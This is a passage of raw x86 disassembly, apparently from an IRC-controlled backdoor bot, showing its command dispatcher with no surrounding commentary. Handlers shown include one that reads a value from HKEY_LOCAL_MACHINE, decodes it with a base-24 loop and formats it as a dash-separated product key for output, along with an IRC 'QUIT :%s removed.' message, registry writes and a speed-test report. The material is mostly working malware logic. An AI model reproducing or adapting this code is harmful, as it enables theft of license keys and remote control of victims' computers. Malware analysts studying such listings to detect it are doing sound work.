		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADB2
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406643
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADB2:				; CODE XREF: sub_40A9CF+3C8j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4064BF
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADD9:				; CODE XREF: sub_40A9CF+3F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E48
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B0B6
		and	[ebp+var_9F8], 0
		mov	[ebp+var_A1C], 0C8h
		push	0Ch
		pop	ecx
		mov	esi, offset dword_419E14
		lea	edi, [ebp+var_9D8]
		rep movsd
		movsb
		push	5
		pop	ecx
		mov	esi, offset dword_419DFC
		lea	edi, [ebp+var_8B8]
		rep movsd
		movsb
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_9F8]
		push	eax
		push	20019h
		push	0
		lea	eax, [ebp+var_9D8]
		push	eax
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40AE7D
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AE78
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey


loc_40AE78:				; CODE XREF: sub_40A9CF+49Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AE7D:				; CODE XREF: sub_40A9CF+485j
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	eax, [ebp+var_9A4]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_8B8]
		push	eax
		push	[ebp+var_9F8]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40AEE7
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AEE2
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey


loc_40AEE2:				; CODE XREF: sub_40A9CF+505j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AEE7:				; CODE XREF: sub_40A9CF+4EFj
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey
		push	7
		pop	ecx
		mov	esi, offset dword_419DDC
		lea	edi, [ebp+var_A18]
		rep movsd
		movsb
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_9DB], 0
		mov	[ebp+var_8DC], 18h
		jmp	short loc_40AF3E
; ---------------------------------------------------------------------------


loc_40AF31:				; CODE XREF: sub_40A9CF+60Bj
		mov	eax, [ebp+var_8DC]
		dec	eax
		mov	[ebp+var_8DC], eax


loc_40AF3E:				; CODE XREF: sub_40A9CF+560j
		cmp	[ebp+var_8DC], 0
		jl	loc_40AFDF
		and	[ebp+var_A20], 0
		mov	[ebp+var_A24], 0Eh
		jmp	short loc_40AF6B
; ---------------------------------------------------------------------------


loc_40AF5E:				; CODE XREF: sub_40A9CF+5EFj
		mov	eax, [ebp+var_A24]
		dec	eax
		mov	[ebp+var_A24], eax


loc_40AF6B:				; CODE XREF: sub_40A9CF+58Dj
		cmp	[ebp+var_A24], 0
		jl	short loc_40AFC0
		mov	eax, [ebp+var_A20]
		shl	eax, 8
		mov	ecx, [ebp+var_A24]
		movzx	ecx, [ebp+ecx+var_970]
		add	eax, ecx
		mov	[ebp+var_A20], eax
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_A24]
		mov	[ebp+ecx+var_970], al
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	[ebp+var_A20], edx
		jmp	short loc_40AF5E
; ---------------------------------------------------------------------------


loc_40AFC0:				; CODE XREF: sub_40A9CF+5A3j
		mov	eax, [ebp+var_8DC]
		mov	ecx, [ebp+var_A20]
		mov	cl, [ebp+ecx+var_A18]
		mov	[ebp+eax+var_9F4], cl
		jmp	loc_40AF31
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: sub_40A9CF+576j
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105AD
		pop	ecx
		and	[ebp+var_8BB], 0
		mov	[ebp+var_8C1], 2Dh
		mov	al, [ebp+var_8C1]
		mov	[ebp+var_8C7], al
		mov	al, [ebp+var_8C7]
		mov	[ebp+var_8CD], al
		mov	al, [ebp+var_8CD]
		mov	[ebp+var_8D3], al
		push	5
		lea	eax, [ebp+var_9F4]
		push	eax
		lea	eax, [ebp+var_8D8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EF]
		push	eax
		lea	eax, [ebp+var_8D2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EA]
		push	eax
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E5]
		push	eax
		lea	eax, [ebp+var_8C6]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E0]
		push	eax
		lea	eax, [ebp+var_8C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8D8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B0B6:				; CODE XREF: sub_40A9CF+41Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DCC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B11C
		mov	[ebp+var_8], 1
		movsx	eax, [ebp+var_19]
		test	eax, eax
		jz	short loc_40B0E6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0E6:				; CODE XREF: sub_40A9CF+706j
		movsx	eax, [ebp+var_B]
		test	eax, eax
		jz	short loc_40B0FD
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0FD:				; CODE XREF: sub_40A9CF+71Dj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx


loc_40B117:				; CODE XREF: sub_40A9CF+715j
					; sub_40A9CF+72Cj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B11C:				; CODE XREF: sub_40A9CF+6FAj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DBC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B143
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414EB0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B143:				; CODE XREF: sub_40A9CF+760j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DB0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B247
		push	8
		pop	ecx
		mov	esi, offset dword_419D8C
		lea	edi, [ebp+var_A5C]
		rep movsd
		movsb
		mov	esi, offset dword_419D84
		lea	edi, [ebp+var_A38]
		movsd
		movsw
		movsx	eax, [ebp+var_A38]
		mov	ecx, off_41DA68
		movsx	ecx, byte ptr [ecx]
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_A30], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1AD
		mov	[ebp+var_63E4],	offset dword_419D78
		jmp	short loc_40B1B7
; ---------------------------------------------------------------------------


loc_40B1AD:				; CODE XREF: sub_40A9CF+7D0j
		mov	[ebp+var_63E4],	offset dword_419D68


loc_40B1B7:				; CODE XREF: sub_40A9CF+7DCj
		mov	eax, [ebp+var_63E4]
		mov	[ebp+var_A28], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1D8
		mov	[ebp+var_63E8],	offset aThisBuildIsFul ; "This build is	fully functional"
		jmp	short loc_40B1E2
; ---------------------------------------------------------------------------


loc_40B1D8:				; CODE XREF: sub_40A9CF+7FBj
		mov	[ebp+var_63E8],	offset aThisBuildIsBro ; "This build is	broken and will	not funct"...


loc_40B1E2:				; CODE XREF: sub_40A9CF+807j
		mov	eax, [ebp+var_63E8]
		mov	[ebp+var_A2C], eax
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+var_A2C]
		push	[ebp+var_A28]
		mov	eax, dword_41EC30
		and	eax, 0FFFFh
		push	eax
		movsx	eax, byte ptr dword_41DA48
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_A5C]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105AD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B247:				; CODE XREF: sub_40A9CF+787j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419D08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B28E
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_405E45
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B28E:				; CODE XREF: sub_40A9CF+88Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B2C5
		mov	eax, [ebp+arg_18]
		add	eax, 4
		push	eax
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4167DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B2C5:				; CODE XREF: sub_40A9CF+8D2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CF0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B2EF
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CE4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B300


loc_40B2EF:				; CODE XREF: sub_40A9CF+909j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40D74D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B300:				; CODE XREF: sub_40A9CF+91Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CD4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B335
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403260
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B335:				; CODE XREF: sub_40A9CF+944j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CC8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B36A
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40260D
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B36A:				; CODE XREF: sub_40A9CF+979j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CB8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3A5
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406509
		add	esp, 10h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3A5:				; CODE XREF: sub_40A9CF+9AEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419CA8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B3DA
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41665C
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3DA:				; CODE XREF: sub_40A9CF+9E9j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C98
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B426
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B3FD
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B3FD:				; CODE XREF: sub_40A9CF+A27j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000001h
		call	sub_401000
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	80000002h
		call	sub_401000
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B426:				; CODE XREF: sub_40A9CF+A1Ej
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C88
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B44C
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_401146
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B44C:				; CODE XREF: sub_40A9CF+A6Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C7C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B47D
		push	0
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B47D:				; CODE XREF: sub_40A9CF+A90j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C70
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4AE
		push	1
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4017AA
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4AE:				; CODE XREF: sub_40A9CF+AC1j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C64
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B4D5
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_409BF1
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B4D5:				; CODE XREF: sub_40A9CF+AF2j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C5C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B508
		push	offset dword_41EF48
		push	offset dword_419C4C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B508:				; CODE XREF: sub_40A9CF+B19j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C40
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B536
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413FE7
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B536:				; CODE XREF: sub_40A9CF+B4Cj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C34
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C28
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jnz	short loc_40B575
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C1C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5A7


loc_40B575:				; CODE XREF: sub_40A9CF+B7Aj
					; sub_40A9CF+B8Fj
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_413AB0
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5A7:				; CODE XREF: sub_40A9CF+BA4j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419C0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B5CE
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41417D
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B5CE:				; CODE XREF: sub_40A9CF+BEBj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B631
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40B61B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_41673F
		pop	ecx
		test	eax, eax
		jnz	short loc_40B601
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B601:				; CODE XREF: sub_40A9CF+C2Bj
		push	104h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		push	offset dword_41EC40
		call	sub_407A56
		add	esp, 0Ch
		jmp	short loc_40B62C
; ---------------------------------------------------------------------------


loc_40B61B:				; CODE XREF: sub_40A9CF+C1Bj
		push	offset dword_41EB2C
		push	offset dword_41EC40
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40B62C:				; CODE XREF: sub_40A9CF+C4Aj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B631:				; CODE XREF: sub_40A9CF+C12j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B678
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414600
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B678:				; CODE XREF: sub_40A9CF+C75j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BE0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B791
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B69F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B69F:				; CODE XREF: sub_40A9CF+CC9j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		shl	eax, 1
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A68],	eax
		cmp	[ebp+var_5A68],	0
		jnz	short loc_40B6C8
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B6C8:				; CODE XREF: sub_40A9CF+CF2j
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_5A68]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40EB4E
		add	esp, 0Ch
		push	[ebp+var_5A68]
		push	offset dword_419BC4
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A68]
		call	sub_416B4C	; free
		pop	ecx
		push	1000h
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_4104A3
		pop	ecx
		pop	ecx
		call	sub_416B64	; clock
		mov	[ebp+var_A60], eax
		and	[ebp+var_1A64],	0
		jmp	short loc_40B743
; ---------------------------------------------------------------------------


loc_40B736:				; CODE XREF: sub_40A9CF+D9Bj
		mov	eax, [ebp+var_1A64]
		inc	eax
		mov	[ebp+var_1A64],	eax


loc_40B743:				; CODE XREF: sub_40A9CF+D65j
		cmp	[ebp+var_1A64],	186A0h
		jge	short loc_40B76C
		push	1000h
		lea	eax, [ebp+var_5A64]
		push	eax
		lea	eax, [ebp+var_1A60]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		jmp	short loc_40B736
; ---------------------------------------------------------------------------


loc_40B76C:				; CODE XREF: sub_40A9CF+D7Ej
		call	sub_416B64	; clock
		sub	eax, [ebp+var_A60]
		push	eax
		push	offset aItTookMeUms_ ; "It took	me %ums."
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B791:				; CODE XREF: sub_40A9CF+CBCj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419BA4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B823
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B7B4
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7B4:				; CODE XREF: sub_40A9CF+DDEj
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_5A6C],	eax
		cmp	[ebp+var_5A6C],	0
		jnz	short loc_40B7DB
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B7DB:				; CODE XREF: sub_40A9CF+E05j
		push	[ebp+var_5A6C]
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_5A6C]
		and	byte ptr [ecx+eax], 0
		push	[ebp+var_5A6C]
		push	offset dword_419B88
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_5A6C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B823:				; CODE XREF: sub_40A9CF+DD5j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B78
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B873
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40B85C
		push	offset dword_41EF48
		push	offset dword_419B64
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	short loc_40B86E
; ---------------------------------------------------------------------------


loc_40B85C:				; CODE XREF: sub_40A9CF+E70j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41EF48
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_40B86E:				; CODE XREF: sub_40A9CF+E8Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B873:				; CODE XREF: sub_40A9CF+E67j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B58
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B899
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4097A7
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B899:				; CODE XREF: sub_40A9CF+EB7j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B4C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8C7
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_403FE5
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8C7:				; CODE XREF: sub_40A9CF+EDDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B3C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B8ED
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_4098F3
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B8ED:				; CODE XREF: sub_40A9CF+F0Bj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B30
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B91B
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406722
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B91B:				; CODE XREF: sub_40A9CF+F31j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B20
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B949
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_412F07
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B949:				; CODE XREF: sub_40A9CF+F5Fj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B14
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B98A
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A1A7
		add	esp, 14h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B98A:				; CODE XREF: sub_40A9CF+F8Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419B08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9BF
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40A50E
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9BF:				; CODE XREF: sub_40A9CF+FCEj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419AFC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B9F5
		push	offset dword_41EB2C
		push	offset aQuitSRemoved_ ;	"QUIT :%s removed."
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		push	36EE80h
		call	dword_41709C	; Sleep
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B9F5:				; CODE XREF: sub_40A9CF+1003j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ADC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40BA79
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40BA18
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40BA18:				; CODE XREF: sub_40A9CF+1042j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset dword_41DAB4
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+8], 0
		jz	short loc_40BA41
		mov	eax, [ebp+arg_14]
		mov	eax, [eax+8]
		mov	[ebp+var_63EC],	eax
		jmp	short loc_40BA4B
; ---------------------------------------------------------------------------


loc_40BA41:				; CODE XREF: sub_40A9CF+1062j
		mov	[ebp+var_63EC],	offset byte_41DE30


loc_40BA4B:				; CODE XREF: sub_40A9CF+1070j
		push	[ebp+var_63EC]
		push	offset dword_41ED48
